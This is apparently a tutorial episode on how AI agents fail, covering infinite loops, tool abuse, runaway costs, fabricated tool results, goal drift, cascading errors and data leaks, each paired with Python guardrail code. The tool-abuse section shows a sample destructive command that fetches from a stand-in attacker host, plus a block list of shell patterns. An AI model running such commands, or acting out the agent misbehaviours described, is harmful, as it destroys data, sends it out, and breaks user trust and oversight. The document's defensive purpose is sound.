Agent Failure Modes: When AI Agents Go Wrong (Spectacularly)

A chatbot that gives a wrong answer is annoying. An agent that takes wrong actions is dangerous.

Here's a real scenario: An agent tasked with "clean up old test files" interprets that as "delete everything matching test" — and wipes out your test suite, test configs, and test data. Oops. A chatbot would have just suggested deleting things. The agent actually did it.

Agents fail in ways chatbots never could, because agents have hands. They can touch the real world. And when they fail, the consequences are real — deleted files, sent emails, burned budgets, crashed systems.

Let's catalog every way agents break, and how to stop them.

Failure Mode 1: Infinite Loops

The most common failure. The agent keeps running the same action without making progress.

Step 1: search("best restaurants Mumbai")

Step 2: Hmm, I need more specific results.

search("top rated restaurants Mumbai 2025")

Step 3: Let me get even more detail.

search("best restaurants Mumbai fine dining reviews")

Step 4: I should check another source.

search("Mumbai restaurant recommendations Reddit")

Step 5: Let me verify these results.

search("best restaurants Mumbai")  ← BACK TO STEP 1

...

Step 50: Still searching...

The agent is "trying to be thorough" but never decides it has enough information. Each search costs tokens. 50 steps × $0.01 = $0.50 for a question that should have been answered in 2 steps.

Prevention

python

1. Max step limit (always)

MAX_STEPS = 15

2. Repeated action detection

action_history = []

def check_loop(action, args):

key = f"{action}:{json.dumps(args)}"
    if key in action_history[-5:]:
        raise LoopDetected(f"Repeated action: {key}")
    action_history.append(key)

3. Cost ceiling

total_tokens = 0

MAX_TOKENS = 50_000

def check_budget(usage):

global total_tokens
    total_tokens += usage.total_tokens
    if total_tokens > MAX_TOKENS:
        raise BudgetExceeded(f"Used {total_tokens} tokens")

Failure Mode 2: Tool Abuse

The agent uses tools in ways you never intended.

Example 1: Shell injection

Agent decides to run: bash("rm -rf /tmp/* && curl evil.com/stealbash")

Example 2: Excessive API calls

Agent loops through an API call 10,000 times to "be thorough"

→ You hit rate limits, get banned, or get a massive bill

Example 3: Wrong tool for the job

User: "What's 2 + 2?"

Agent: search("what is 2 plus 2") ← Uses web search instead of just answering

Prevention

python

1. Tool allowlists — only permit specific tools

ALLOWED_TOOLS = {"search", "calculate", "read_file"}

2. Argument validation

def validate_bash(command: str):

BLOCKED = ["rm -rf", "curl | bash", "wget | sh", "> /dev/", "mkfs"]
    for pattern in BLOCKED:
        if pattern in command:
            raise UnsafeCommand(f"Blocked: {command}")

3. Rate limiting per tool

tool_calls = defaultdict(int)

TOOL_LIMITS = {"search": 10, "bash": 5, "send_email": 1}

def check_rate(tool_name):

tool_calls[tool_name] += 1
    if tool_calls[tool_name] > TOOL_LIMITS.get(tool_name, 20):
        raise RateLimitExceeded(f"{tool_name} called too many times")

4. Human-in-the-loop for dangerous tools

REQUIRES_APPROVAL = {"send_email", "delete_file", "bash", "deploy"}

def maybe_approve(tool_name, args):

if tool_name in REQUIRES_APPROVAL:
        print(f"Agent wants to: {tool_name}({args})")
        if input("Approve? (y/n): ") != "y":
            return "Action denied by user"

🔧

Failure Mode 3: Cost Explosion

An agent can burn through your API budget in minutes. Especially with:

Large context windows (every token costs money)

Multiple LLM calls per step

Multi-agent systems (multiplied by number of agents)

Long-running tasks with no timeout

Real Cost Scenarios

Scenario Calls Tokens Cost (GPT-4o)

A single runaway task can cost more than your entire day's budget. And it happens silently — you don't know until you check the dashboard.

Prevention

python

class BudgetGuard:

def __init__(self, max_cost_usd=1.0):
        self.max_cost = max_cost_usd
        self.total_cost = 0
        self.input_rate = 2.50 / 1_000_000   # GPT-4o input
        self.output_rate = 10.00 / 1_000_000  # GPT-4o output

def track(self, usage):
        cost = (usage.prompt_tokens * self.input_rate +
                usage.completion_tokens * self.output_rate)
        self.total_cost += cost

if self.total_cost > self.max_cost:
            raise BudgetExceeded(
                f"Spent ${self.total_cost:.4f} / ${self.max_cost:.2f} limit"
            )
        return cost

Usage

guard = BudgetGuard(max_cost_usd=0.50)

for step in range(MAX_STEPS):

response = llm.complete(messages, tools=tools)
    guard.track(response.usage)  # Throws if over budget

📊

Failure Mode 4: Hallucinated Actions

The agent "hallucinates" tool calls — it calls tools that don't exist, passes invalid arguments, or fabricates results.

Agent calls a tool that doesn't exist

Action: verify_email("user@example.com")

Error: No tool named 'verify_email'

Agent passes nonsense arguments

Action: search(query={"nested": "object"}) ← Should be a string

Agent fabricates a result instead of calling the tool

"I checked the weather and it's 28°C in Mumbai"

← Did NOT actually call any weather tool, just made it up

Why This Happens

The LLM is predicting tokens. If calling a tool seems like the right pattern, it might hallucinate a tool call. If the tool result seems predictable, it might skip the tool and make up the answer.

Prevention

python

1. Validate tool names

def execute_tool_call(tool_call):

if tool_call.function.name not in AVAILABLE_TOOLS:
        return f"Error: Unknown tool '{tool_call.function.name}'. " \
               f"Available: {list(AVAILABLE_TOOLS.keys())}"

# 2. Validate arguments against schema
    try:
        args = json.loads(tool_call.function.arguments)
        validate(args, TOOL_SCHEMAS[tool_call.function.name])
    except (json.JSONDecodeError, ValidationError) as e:
        return f"Error: Invalid arguments: {e}"

# 3. Execute and return real results
    return AVAILABLE_TOOLS[tool_call.function.name](**args)

4. Use structured outputs to prevent malformed JSON

response = client.chat.completions.create(
model="gpt-4o",
    messages=messages,
    tools=tools,
    tool_choice="auto",  # Let model decide, but constrain format

)

Failure Mode 5: Goal Drift

The agent starts working on one task and gradually shifts to something else. Like a developer who goes to fix a bug and ends up refactoring the entire codebase.

Task: "Fix the typo on the login page"

Step 1: Read login.html — found typo on line 15

Step 2: Also noticed the CSS is messy. Let me clean it up.

Step 3: The CSS references an old color scheme. Let me update all colors.

Step 4: The color constants should be in a theme file. Let me create one.

Step 5: While creating the theme, I noticed the component structure could be better...

Step 10: Now refactoring the entire frontend architecture

← The typo on line 15 was never fixed

Prevention

python

1. Explicit task boundaries in the prompt

system_prompt = """

You are a focused agent. Your task is EXACTLY what the user specified.

Do NOT fix other issues, refactor code, or improve things outside scope.

If you notice other issues, mention them at the end but DON'T fix them.

"""

2. Task completion check

def check_task_completion(original_task, current_action):

response = llm.complete([
        {"role": "system", "content": "Is this action relevant to the original task? Answer YES or NO."},
        {"role": "user", "content": f"Task: {original_task}\nAction: {current_action}"}
    ])
    if "NO" in response:
        return False
    return True

3. Step limit with forced conclusion

MAX_STEPS = 10

FORCE_CONCLUDE_AT = 8 # At step 8, add "wrap up now" instruction

Failure Mode 6: Cascading Errors

One error leads to another, and the agent spirals.

Step 1: Read config.json → File not found

Step 2: Create config.json with default values → Wrong format

Step 3: App crashes because config is wrong

Step 4: Agent tries to fix by editing config → Makes it worse

Step 5: Agent tries to roll back → Can't find backup

Step 6: Agent searches web for "fix corrupted config" → Finds unrelated advice

Step 7: Applies unrelated fix → Complete disaster

Prevention

python

1. Error counter with bail-out

consecutive_errors = 0

MAX_CONSECUTIVE_ERRORS = 3

def handle_tool_result(result, is_error):

global consecutive_errors
    if is_error:
        consecutive_errors += 1
        if consecutive_errors >= MAX_CONSECUTIVE_ERRORS:
            return "STOP: Too many consecutive errors. " \
                   "Asking for human help."
    else:
        consecutive_errors = 0

2. Checkpoints — save state before dangerous operations

def checkpoint(state):

with open(f"checkpoint_{datetime.now().isoformat()}.json", "w") as f:
        json.dump(state, f)

3. Rollback capability

def rollback(checkpoint_file):

with open(checkpoint_file) as f:
        return json.load(f)

🔬

Failure Mode 7: Confidentiality Leaks

The agent has access to private data and inadvertently exposes it.

User A: "Summarize my medical records"

Agent: Reads medical records, creates summary

[Later, different user]

User B: "What were you working on earlier?"

Agent: "I was summarizing medical records about diabetes treatment for..."

← HIPAA violation

This is especially dangerous with shared agent instances, multi-tenant systems, or agents that have long-term memory.

Prevention

Isolate agent sessions — never share context between users

Scrub sensitive data from memory stores

Don't persist tool results containing PII

Use separate agent instances per user

🛡️

The Safety Checklist

Every production agent should implement these:

□ Max step limit (10-20 for most tasks)

□ Token/cost budget per task

□ Tool rate limiting

□ Dangerous tool approval (human-in-the-loop)

□ Argument validation

□ Consecutive error bail-out

□ Loop detection

□ Goal drift monitoring

□ Timeout (wall clock, not just steps)

□ Logging/tracing for post-mortem

□ Session isolation

□ Rollback capability for destructive actions

📦

Building a Safe Agent Wrapper

python

class SafeAgent:

def __init__(self, agent, config):
        self.agent = agent
        self.max_steps = config.get("max_steps", 15)
        self.max_cost = config.get("max_cost_usd", 1.0)
        self.timeout_sec = config.get("timeout_sec", 300)
        self.requires_approval = config.get("approval_tools", [])
        self.total_cost = 0
        self.errors = 0
        self.action_log = []

def run(self, task):
        start = time.time()

for step in range(self.max_steps):
            # Timeout check
            if time.time() - start > self.timeout_sec:
                return self._bail("Timeout exceeded")

# Get next action
            action = self.agent.next_action()

# Loop detection
            if self._is_loop(action):
                return self._bail("Loop detected")

# Approval check
            if action.tool in self.requires_approval:
                if not self._get_approval(action):
                    continue

# Execute
            result, cost = self.agent.execute(action)
            self.total_cost += cost

# Budget check
            if self.total_cost > self.max_cost:
                return self._bail(f"Budget exceeded: ${self.total_cost:.2f}")

# Error tracking
            if result.is_error:
                self.errors += 1
                if self.errors >= 3:
                    return self._bail("Too many errors")
            else:
                self.errors = 0

# Log
            self.action_log.append(action)

if action.is_final:
                return result

return self._bail("Max steps reached")

🚀

Practical Takeaways

Always set a max step limit — 15 is a good default, adjust based on task complexity

Budget guards are non-negotiable — one runaway task can blow your monthly budget

Human-in-the-loop for destructive actions — delete, send, deploy, execute should require approval

Detect loops by tracking action history — if the same action appears 3x, something is wrong

Consecutive errors mean bail out — 3 errors in a row means the agent is lost

Log everything — you can't fix what you can't see; trace every tool call and decision

🔄

What's Next?

Episode 36: OpenAI API Spec — The standard everyone follows. Chat completions, messages format, roles — why the OpenAI API became the de facto standard for the entire AI industry, and why understanding it is essential for every AI engineer.

← Previous

Ep 34: Agent Frameworks

Next →

Ep 36: The OpenAI API Spec

Next: Episode 36 — The OpenAI API Spec

Google, Anthropic, Meta, Mistral — dozens of providers, but they all speak the same API language. Here's why.

This is part of a 98-episode series covering AI engineering from tokens to production deployment.